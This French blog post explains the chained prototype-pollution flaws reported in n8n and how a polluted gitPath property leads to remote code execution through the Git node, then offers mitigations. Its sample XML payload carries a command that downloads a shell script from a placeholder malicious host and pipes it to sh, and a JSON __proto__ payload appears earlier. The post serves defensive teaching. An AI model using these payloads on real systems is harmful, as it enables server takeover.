Back to all posts
Cybersecurity

Prototype Pollution Reloaded : Plongée dans les cinq vulnérabilités RCE à 9.4 de n8n

Si vous créez des applications Node.js, vous devez tout arrêter et prêter une attention particulière à ce qui suit. Le 22 mai 2026, la Cyber Security Agency de Singapour (CSA) et des groupes mondiaux de recherche en sécurité ont publié un avis urgent ciblant les utilisateurs de n8n, la populaire plateforme open source d'automatisation de flux de travail.

n8n a publié en urgence des correctifs de sécurité traitant de cinq vulnérabilités critiques portant un score impressionnant de 9.4 selon le CVSS v4.0 (incluant CVE-2026-42231, CVE-2026-42232 et CVE-2026-44789). Ces failles de sécurité étaient centrées sur un vecteur de vulnérabilité Node.js classique, persistant et très dangereux : la pollution de prototype (Prototype Pollution). Enchaînées, elles permettaient à un attaquant de déclencher une exécution de code à distance (RCE) ou des lectures arbitraires de fichiers système sur le serveur hébergeur.

J'ai passé la matinée à disséquer les correctifs. Démystifions la mécanique de la pollution de prototype en JavaScript, reconstruisons comment les nœuds d'analyse XML de n8n ont permis à cette pollution de basculer en RCE au niveau du système, et examinons mes modèles de programmation recommandés pour neutraliser ces vecteurs dans vos propres applications Web Node.js.


Comprendre la pollution de prototype (Prototype Pollution)

Pour comprendre comment n8n en a été victime, nous devons d'abord comprendre la conception unique de l'héritage prototypique de JavaScript.

En JavaScript, les objets héritent des propriétés et des méthodes d'un objet prototype. Si vous créez un objet simple const dev = { name: "Elvis" }, il hérite implicitement de Object.prototype.

Si une application fusionne ou analyse de manière récursive des payloads JSON ou XML contrôlés par l'utilisateur dans un objet sans validation stricte des clés, un attaquant peut transmettre un payload contenant la clé magique spéciale __proto__.

Le modèle vulnérable :

Regardons un utilitaire de fusion d'objets classique vulnérable :

// Une fusion récursive classique qui est un désastre total en matière de sécurité
function insecureMerge(target, source) {
  for (let key in source) {
    if (typeof target[key] === 'object' && typeof source[key] === 'object') {
      insecureMerge(target[key], source[key]);
    } else {
      // L'assignation directe permet l'injection de la propriété __proto__
      target[key] = source[key];
    }
  }
  return target;
}

// Payload d'attaque passé en JSON
const attackerPayload = JSON.parse('{"__proto__": {"isAdmin": true}}');
const userSession = {};

insecureMerge(userSession, attackerPayload);

// Maintenant, chaque objet créé dans ce processus Node.js hérite de la propriété 'isAdmin' !
const normalUser = {};
console.log(normalUser.isAdmin); // Affiche : true ! (Votre prototype a été pollué avec succès)

En polluant Object.prototype, l'attaquant injecte des propriétés globalement dans tout l'environnement d'exécution.


Reconstruire la chaîne RCE de n8n

La suite de vulnérabilités n8n met en évidence comment une simple pollution de prototype peut être exploitée pour compromettre un serveur d'applications complet.

                  [ Payload XML / JSON malveillant de l'attaquant ]
                                      │
                                      ▼
               [ n8n Webhook / XML / Parseur de requête HTTP ]
               (La bibliothèque xml2js vulnérable a analysé __proto__)
                                      │
                                      ▼
                      [ Object.prototype pollué ]
           (Propriétés globales de l'environnement d'exécution manipulées)
                                      │
                                      ▼
                        [ Exécution du nœud Git n8n ]
           (Extrait les propriétés du système : ex., gitPath / commandes shell)
                                      │
                                      ▼
                      [ Exécution de code à distance (RCE) ]
                   (Une commande shell malveillante s'exécute sur l'hôte)

L'injection via xml2js (CVE-2026-42231)

La racine du problème réside dans les bibliothèques d'analyse utilisées dans les nœuds Webhook, XML et HTTP Request de n8n. Plus précisément, le nœud d'analyse XML traitait les payloads XML à l'aide du parseur populaire xml2js.

En raison d'un échec de filtrage des clés spéciales telles que constructor et prototype, un attaquant pouvait transmettre un payload XML construit pour polluer le prototype de base du processus :

<!-- Payload conceptuel de pollution de prototype via XML -->
<root>
  <constructor>
    <prototype>
      <gitPath>/bin/sh -c "curl http://malicious.site/shell.sh | sh"</gitPath>
    </prototype>
  </constructor>
</root>

La chaîne RCE dans le nœud Git (CVE-2026-44790)

C'est ici que la chaîne devient mortelle. n8n dispose d'un nœud Git qui permet aux flux de travail de cloner, commiter et pousser des configurations. Lors de l'exécution du nœud Git, il fait référence à un utilitaire de chemin interne pour trouver l'exécutable git du système local :

// À l'intérieur de la logique d'exécution vulnérable du flux de travail
const execPath = options.gitPath || 'git'; // Si options.gitPath est non défini, il vérifie le prototype
child_process.exec(`${execPath} status`, ...);

Dans des circonstances normales, options.gitPath est non défini (undefined), le système utilise donc par défaut le binaire sûr 'git'. Cependant, comme l'attaquant a réussi à polluer Object.prototype.gitPath via l'exploit du nœud XML, la vérification de options.gitPath a renvoyé la commande shell malveillante injectée !

Lorsque le nœud Git a exécuté exec(), il a exécuté le script shell, accordant à l'attaquant un contrôle shell distant complet sur le système hôte n8n.


Bloquer les clés magiques

Si vous développez des API backend Node.js ou JavaScript, il existe trois principaux modèles de conception pour éliminer définitivement la pollution de prototype.

1. Refuser les noms de clés dans les parseurs

Lors de l'écriture de fonctions personnalisées de fusion, de copie ou d'analyse, refusez explicitement les clés qui font référence à des propriétés prototypiques :

// Liste de blocage explicite pour stopper l'injection de __proto__
const BLACKLIST = ['__proto__', 'constructor', 'prototype'];

function secureMerge(target, source) {
  for (let key in source) {
    if (BLACKLIST.includes(key)) continue; // Supprimer silencieusement les clés malveillantes
    
    if (typeof target[key] === 'object' && typeof source[key] === 'object') {
      secureMerge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

2. Créer des objets sans prototypes

Lors de la création de tables de recherche clé-valeur ou de magasins de configuration, instanciez des objets sans chaînes prototypiques standard. L'utilisation de Object.create(null) crée un dictionnaire qui n'hérite pas de Object.prototype, le rendant immunisé contre les recherches de pollution globales :

// Un dictionnaire complètement vide, sans aucune propriété de prototype à polluer
const dict = Object.create(null);
console.log(dict.toString); // undefined

Conseil de pro : Gelez le prototype en production

En tant que sécurité ultime, vous pouvez geler le Object.prototype global au point d'entrée de votre application. Cela empêche toute modification du prototype principal après l'initialisation :

// Geler l'objet de base pour neutraliser toutes les tentatives de pollution de prototype
Object.freeze(Object.prototype);

En conclusion

La flexibilité de JavaScript est sa plus grande force, mais l'héritage prototypique est un piège classique si vous faites aveuglément confiance au JSON/XML entrant. Assainissez vos arbres d'analyse, utilisez Object.create(null), gelez vos prototypes globaux en production et mettez immédiatement à jour vos instances n8n.


Références et sources officielles